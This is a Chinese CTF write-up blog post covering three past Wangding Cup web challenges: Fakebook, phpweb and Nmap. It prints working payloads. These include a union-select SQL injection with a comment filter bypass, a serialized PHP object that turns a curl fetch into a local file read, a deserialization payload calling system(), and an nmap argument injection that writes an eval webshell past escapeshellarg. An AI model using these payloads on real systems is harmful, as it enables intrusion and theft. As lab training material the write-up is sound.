当前位置:网站首页>CTF-网鼎杯往届题目
CTF-网鼎杯往届题目
2022-08-02 03:25:00 【SevenCold】
1.[网鼎杯 2018]Fakebook
打开连接是一个类似于论坛的一个web应用,有登录和注册,首先在登录处试了试sql注入,失败了,然后乖乖去注册,在注册的时候想到了xss,试验后发现也并不可行。只能乖乖登录找bug了
登陆后发现用户名有超链接,点进入后就发现url是这样的
自然而然又想到了sql注入,测试后发现可以的,然后按流程,先用order by测试字段数,然后依次爆数据库名,表名,字段名 (过程中发现后端过滤的union select 的组合,测试后用/* */绕过)
构造url为http://6640d1b5-e1a8-45bb-b9f6-26bbdee8d84f.node4.buuoj.cn:81/view.php?no=2%20%20union%20/**/%20select%201,group_concat(column_name),2,3%20from%20information_schema.columns%20where%20table_name=%27users%27
得到字段名如下
其中只有data数据不知道是啥,我看了一下发现是一个序列化的字符串。
我自己勉强就做到这了,然后去看wp,这里用目录扫描可以扫到robots.txt和flag.php,打开robots.txt可以发现有一个php文件的备份文件,下载后打开。
其中比较关键的就是这个get函数了,查阅curl的资料可以得知,此处get函数主要就是在打开一个url,而这个url就是我们那个blog的url,因此这里是由文件包含漏洞的,我们可以设置blog的url为file:///var/www/html/flag.php,然后就可以读取flag.php了。
构造url为http://6640d1b5-e1a8-45bb-b9f6-26bbdee8d84f.node4.buuoj.cn:81/view.php?no=2%20%20union%20/**/%20select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
打开页面中会有一段base64的编码,解码后即为flag。
2.[网鼎杯 2020 朱雀组]phpweb
拿到题后查看源代码,发现表单里的两个参数是func和p,我突然后意识到可能是在函数名和参数,然后我试了一下。
用bp抓包然后修改func=hightlight_file和p=index.php。
说明猜测正确,在后端用call|_user_func来运行函数,但是过滤很多函数,如exec,system等等(后面还有很多,截图没截上)。
我首先想到的是用include函数结合php伪协议上传shell,但是发现call|_user_func不能运行include函数,然后又想绕过in_array黑名单,但好像也不太可行。
然后发现代码中有两处调用call|_user_func函数,而且Test类中的调用没有黑名单检测,我猜测这可能是个突破点,但是搞了半天也没搞出来,无奈还是去搜了wp。
发现我到此为止都是没问题,Test也确实是个突破点,如何突破了,用反序列化,就是unserialize函数,然后写了一个php脚本
<?php
class Test{
var $p = "ls";
var $func = 'system';
}
$n = new Test();
echo serialize($n);
?>
得到序列化的字符串后发送,然后并没有找到比较明显有flag的文件,然后可以查找,用find / -name flag*
然后去cat /tmp/flagoefiu4r93得到flag。
3.[网鼎杯 2020 朱雀组]Nmap
经过将网页扫描结果与真是nmap扫描结果进行对比,发现很一致,所以猜测网页后端就是调用了nmap命令,那我们就可以使用一些奇奇怪怪的命令了。
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
可以创建shell文件
' <?= @eval($_POST[1]);?> -oG a.phtml '
因为过滤了php,因此用短标签<?= ?>代替,然后就看了大佬的wp,用单引号和空格绕过escapeshellarg()与escapeshellcmd()函数(纯纯知识盲区)
然后就可以用蚁剑或菜刀连接,找到flag咯。
边栏推荐
- Praying: 1 vulnhub walkthrough
- Masashi: 1 vulnhub walkthrough
- 阿里云MySQL5.7安装以及部分主要问题(总和)
- 解决uni-app 打包H5网站 下载图片问题
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- [symfony/finder] The best file manipulation library
- PHP8.2中字符串变量解析的新用法
- After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
- PHP有哪些框架?
- uniapp | 使用npm update更新后编译报错问题
猜你喜欢
Eric靶机渗透测试通关全教程
[league/climate]一个功能健全的命令行功能操作库
IO流、 编码表、 字符流、 字符缓冲流
What are the killer super powerful frameworks or libraries or applications for PHP?
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
hackmyvm: kitty walkthrough
ES6介绍+定义变量+不同情况下箭头函数的this指向
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
(3)Thinkphp6数据库
随机推荐
hackmyvm: kitty walkthrough
Function hoisting and variable hoisting
[league/flysystem]一个优雅且支持度非常高的文件操作接口
(2)Thinkphp6模板引擎**标签
Dom实现input的焦点触发
hackmyvm: may walkthrough
Phpstudy installs Thinkphp6 (problem + solution)
宝塔邮局邮箱设置成功后能发送不能接收问题处理
Xiaoyao multi-open emulator ADB driver connection
js 原型和原型链
Phonebook
TypeScript error error TS2469, error TS2731 solution
Baidu positioning js API
About the apache .htaccess file of tp
uniapp | 官方提供的map组件使用问题
[phpunit/php-timer]一个用于代码执行时间的计时器
js eventLoop 事件循环机制
关于tp的apache 的.htaccess文件
3.PHP数据类型、常量、字符串和运算符
数组的高级操作